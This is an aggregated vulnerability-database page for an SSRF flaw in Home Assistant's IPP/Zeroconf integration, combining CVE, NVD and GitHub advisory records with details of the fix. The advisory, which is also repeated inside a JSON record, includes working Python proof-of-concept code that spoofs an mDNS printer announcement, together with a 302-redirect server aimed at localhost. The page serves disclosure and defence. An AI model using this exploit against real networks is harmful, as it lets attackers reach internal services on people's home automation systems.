Vulnerability-Lookup

CVE-2026-91129 (GCVE-0-2026-91129)

Vulnerability from cvelistv5 – Published: 2026-09-22 19:05 – Updated: 2026-09-24 15:25

Title

Home Assistant: mDNS Server-Side Request Forgery

Summary

Home Assistant is open source home automation software focused on local control and privacy. Prior to 2026.2.3, the IPP integration automatically processed unauthenticated _ipp._tcp.local mDNS announcements in homeassistant/components/ipp/config_flow.py, where async_step_zeroconf passed attacker-controlled host, port, and base_path values to validate_input for printer metadata retrieval. Because the shared HTTP client followed attacker-controlled cross-origin redirects without blocking loopback targets, a local-network attacker could redirect the request to 127.0.0.1 or another internal service without user interaction or prior IPP configuration. This issue is fixed in version 2026.2.3.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-24 15:24 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/home-assistant/core/security/a…	x_refsource_CONFIRM
https://github.com/home-assistant/core/pull/162941	x_refsource_MISC
https://github.com/home-assistant/core/commit/0f3…	x_refsource_MISC
https://github.com/home-assistant/core/commit/815…	x_refsource_MISC
https://github.com/home-assistant/core/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
home-assistant	core	Affected: < 2026.2.3	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-91129

Vulnerability from fkie_nvd - Published: 2026-09-22 19:16 - Updated: 2026-09-25 14:10

Severity

5.4 (Medium) - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/home-assistant/core/commit/0f3c7ca2772b605c0f3c09c88f35e527ea6ea560
	security-advisories@github.com	https://github.com/home-assistant/core/commit/815c708d19aa0c7f59f9ee318b613a5e481a42b3
	security-advisories@github.com	https://github.com/home-assistant/core/pull/162941
	security-advisories@github.com	https://github.com/home-assistant/core/releases/tag/2026.2.3
	security-advisories@github.com	https://github.com/home-assistant/core/security/advisories/GHSA-4ghv-53cq-7wp3
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/home-assistant/core/security/advisories/GHSA-4ghv-53cq-7wp3

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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          "product": "core",
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    }
  ]
}

GHSA-4GHV-53CQ-7WP3

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40

Summary

Home Assistant: mDNS Server-Side Request Forgery

Details

Summary

Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.

Details

Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.

The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:

async def async_step_zeroconf(
    self, discovery_info: ZeroconfServiceInfo
) -> ConfigFlowResult:
    host = discovery_info.host
    port = discovery_info.port
    zctype = discovery_info.type
    name = discovery_info.name.replace(f".{zctype}", "")
    tls = zctype == "_ipps._tcp.local."
    base_path = discovery_info.properties.get("rp", "ipp/print")

    self.discovery_info.update(
        {
            CONF_HOST: host,
            CONF_PORT: port,
            CONF_SSL: tls,
            CONF_VERIFY_SSL: False,
            CONF_BASE_PATH: f"/{base_path}",
            CONF_NAME: name,
            CONF_UUID: unique_id,
        }
    )

These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:

async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
    session = async_get_clientsession(hass)
    ipp = IPP(
        host=data[CONF_HOST],
        port=data[CONF_PORT],
        base_path=data[CONF_BASE_PATH],
        tls=data[CONF_SSL],
        verify_ssl=data[CONF_VERIFY_SSL],
        session=session,
    )
    printer = await ipp.printer()
    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}

The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.

An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.

PoC

The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.

Prerequisites

Attacker machine on the same local network as the Home Assistant Green device
Python 3 with dependencies: pip install -r requirements.txt

Exploit Code

The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:

def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
    transaction_id = 0x0000  # mDNS always 0
    flags = 0x8400           # Standard response, authoritative answer
    qdcount = 0
    ancount = 4              # 4 answers (service_type, SRV, TXT, A)
    nscount = 0
    arcount = 0

    SRV = service_name + '.' + service_type
    header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)

    def encode_name(name):
        parts = name.split(".")
        out = b""
        for p in parts:
            out += bytes([len(p)]) + p.encode("utf-8")
        out += b"\x00"
        return out

    answers = b""

    # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local
    answers += encode_name(service_type)
    answers += struct.pack("!HHI", 12, 1, 1)
    target = encode_name(SRV)
    answers += struct.pack("!H", len(target)) + target

    # SRV record
    answers += encode_name(SRV)
    answers += struct.pack("!HHI", 33, 1, 120)
    srv_data = struct.pack("!HHH", 0, 0, attacker_port) + encode_name("hihiabcdmeomeo.local")
    answers += struct.pack("!H", len(srv_data)) + srv_data

    # TXT record
    txt_strs = [b"abcd=efgh"]
    txt_record = b"".join(bytes([len(s)]) + s for s in txt_strs)
    answers += encode_name(SRV)
    answers += struct.pack("!HHI", 16, 1, 120)
    answers += struct.pack("!H", len(txt_record)) + txt_record

    # A record: hihiabcdmeomeo.local -> attacker IP
    answers += encode_name("hihiabcdmeomeo.local")
    answers += struct.pack("!HHI", 1, 1, 120)
    ip_bytes = socket.inet_aton(attacker_ip)
    answers += struct.pack("!H", len(ip_bytes)) + ip_bytes

    return header + answers

def send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
    packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)
    sock.sendto(packet, (has_ip, 5353))

The attacker's HTTP server redirects the incoming IPP request to an internal service:

class RedirectHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:<INTERNAL_PORT>/<path>")
        self.end_headers()

Usage

python3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo

Exploit Flow

The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service
A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000
Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server
The attacker's server responds with a 302 redirect to http://127.0.0.1:<port>/<path>
Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf

Impact

An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes _ipp._tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.

Mitigations

The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.

Acknowledgements

Discovered by ZDI (ZDI-CAN-28336)

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2026.2.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "homeassistant"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-91129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nHome Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes `_ipp._tcp.local` service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.\n\n## Details\n\nHome Assistant listens for mDNS service announcements on port 5353. When a service of type `_ipp._tcp.local` is discovered, the IPP integration\u0027s zeroconf handler (`homeassistant/components/ipp/config_flow.py`) processes it automatically.\n\nThe `async_step_zeroconf` method extracts `host`, `port`, and `base_path` directly from the mDNS discovery info without validation:\n\n```python\nasync def async_step_zeroconf(\n    self, discovery_info: ZeroconfServiceInfo\n) -\u003e ConfigFlowResult:\n    host = discovery_info.host\n    port = discovery_info.port\n    zctype = discovery_info.type\n    name = discovery_info.name.replace(f\".{zctype}\", \"\")\n    tls = zctype == \"_ipps._tcp.local.\"\n    base_path = discovery_info.properties.get(\"rp\", \"ipp/print\")\n\n    self.discovery_info.update(\n        {\n            CONF_HOST: host,\n            CONF_PORT: port,\n            CONF_SSL: tls,\n            CONF_VERIFY_SSL: False,\n            CONF_BASE_PATH: f\"/{base_path}\",\n            CONF_NAME: name,\n            CONF_UUID: unique_id,\n        }\n    )\n```\n\nThese values are then passed to `validate_input()`, which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:\n\n```python\nasync def validate_input(hass: HomeAssistant, data: dict) -\u003e dict[str, Any]:\n    session = async_get_clientsession(hass)\n    ipp = IPP(\n        host=data[CONF_HOST],\n        port=data[CONF_PORT],\n        base_path=data[CONF_BASE_PATH],\n        tls=data[CONF_SSL],\n        verify_ssl=data[CONF_VERIFY_SSL],\n        session=session,\n    )\n    printer = await ipp.printer()\n    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}\n```\n\nThe core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at `127.0.0.1` or other internal services that are not otherwise network-accessible.\n\nAn attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker\u0027s IP. The attacker\u0027s HTTP server then responds with a **302 redirect** to any internal endpoint, causing Home Assistant to make the request on the attacker\u0027s behalf.\n\n## PoC\n\nThe PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker\u0027s HTTP server, which redirects the request to an internal service.\n\n### Prerequisites\n\n- Attacker machine on the same local network as the Home Assistant Green device\n- Python 3 with dependencies: `pip install -r requirements.txt`\n\n### Exploit Code\n\nThe core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:\n\n```python\ndef build_dns_response(service_name, service_type, attacker_ip, attacker_port):\n    transaction_id = 0x0000  # mDNS always 0\n    flags = 0x8400           # Standard response, authoritative answer\n    qdcount = 0\n    ancount = 4              # 4 answers (service_type, SRV, TXT, A)\n    nscount = 0\n    arcount = 0\n\n    SRV = service_name + \u0027.\u0027 + service_type\n    header = struct.pack(\"!HHHHHH\", transaction_id, flags, qdcount, ancount, nscount, arcount)\n\n    def encode_name(name):\n        parts = name.split(\".\")\n        out = b\"\"\n        for p in parts:\n            out += bytes([len(p)]) + p.encode(\"utf-8\")\n        out += b\"\\x00\"\n        return out\n\n    answers = b\"\"\n\n    # PTR record: _ipp._tcp.local -\u003e meomeo._ipp._tcp.local\n    answers += encode_name(service_type)\n    answers += struct.pack(\"!HHI\", 12, 1, 1)\n    target = encode_name(SRV)\n    answers += struct.pack(\"!H\", len(target)) + target\n\n    # SRV record\n    answers += encode_name(SRV)\n    answers += struct.pack(\"!HHI\", 33, 1, 120)\n    srv_data = struct.pack(\"!HHH\", 0, 0, attacker_port) + encode_name(\"hihiabcdmeomeo.local\")\n    answers += struct.pack(\"!H\", len(srv_data)) + srv_data\n\n    # TXT record\n    txt_strs = [b\"abcd=efgh\"]\n    txt_record = b\"\".join(bytes([len(s)]) + s for s in txt_strs)\n    answers += encode_name(SRV)\n    answers += struct.pack(\"!HHI\", 16, 1, 120)\n    answers += struct.pack(\"!H\", len(txt_record)) + txt_record\n\n    # A record: hihiabcdmeomeo.local -\u003e attacker IP\n    answers += encode_name(\"hihiabcdmeomeo.local\")\n    answers += struct.pack(\"!HHI\", 1, 1, 120)\n    ip_bytes = socket.inet_aton(attacker_ip)\n    answers += struct.pack(\"!H\", len(ip_bytes)) + ip_bytes\n\n    return header + answers\n\ndef send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)\n    packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)\n    sock.sendto(packet, (has_ip, 5353))\n```\n\nThe attacker\u0027s HTTP server redirects the incoming IPP request to an internal service:\n\n```python\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:\u003cINTERNAL_PORT\u003e/\u003cpath\u003e\")\n        self.end_headers()\n```\n\n### Usage\n\n```bash\npython3 zeroconf.py -type _ipp._tcp.local -has_ip \u003cHOME_ASSISTANT_IP\u003e -attacker_ip \u003cATTACKER_IP\u003e -name meomeo\n```\n\n### Exploit Flow\n\n1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service\n2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker\u0027s IP and port 8000\n3. Home Assistant\u0027s IPP integration automatically discovers the \"printer\" and connects to the attacker\u0027s HTTP server\n4. The attacker\u0027s server responds with a 302 redirect to `http://127.0.0.1:\u003cport\u003e/\u003cpath\u003e`\n5. Home Assistant follows the redirect, making a request to the internal service on the attacker\u0027s behalf\n\n## Impact\n\nAn unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to `127.0.0.1` or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration \u2014 the IPP integration processes `_ipp._tcp.local` announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.\n\n## Mitigations\n\nThe shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (`localhost` and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.\n\n## Acknowledgements\n\nDiscovered by ZDI (ZDI-CAN-28336)",
  "id": "GHSA-4ghv-53cq-7wp3",
  "modified": "2026-09-22T20:40:51Z",
  "published": "2026-09-22T20:40:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/security/advisories/GHSA-4ghv-53cq-7wp3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/pull/162941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/commit/0f3c7ca2772b605c0f3c09c88f35e527ea6ea560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/commit/815c708d19aa0c7f59f9ee318b613a5e481a42b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/home-assistant/core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/releases/tag/2026.2.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Home Assistant: mDNS Server-Side Request Forgery"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-91129 (GCVE-0-2026-91129)

FKIE_CVE-2026-91129

GHSA-4GHV-53CQ-7WP3

Summary

Details

PoC

Prerequisites

Exploit Code

Usage

Exploit Flow

Impact

Mitigations

Acknowledgements

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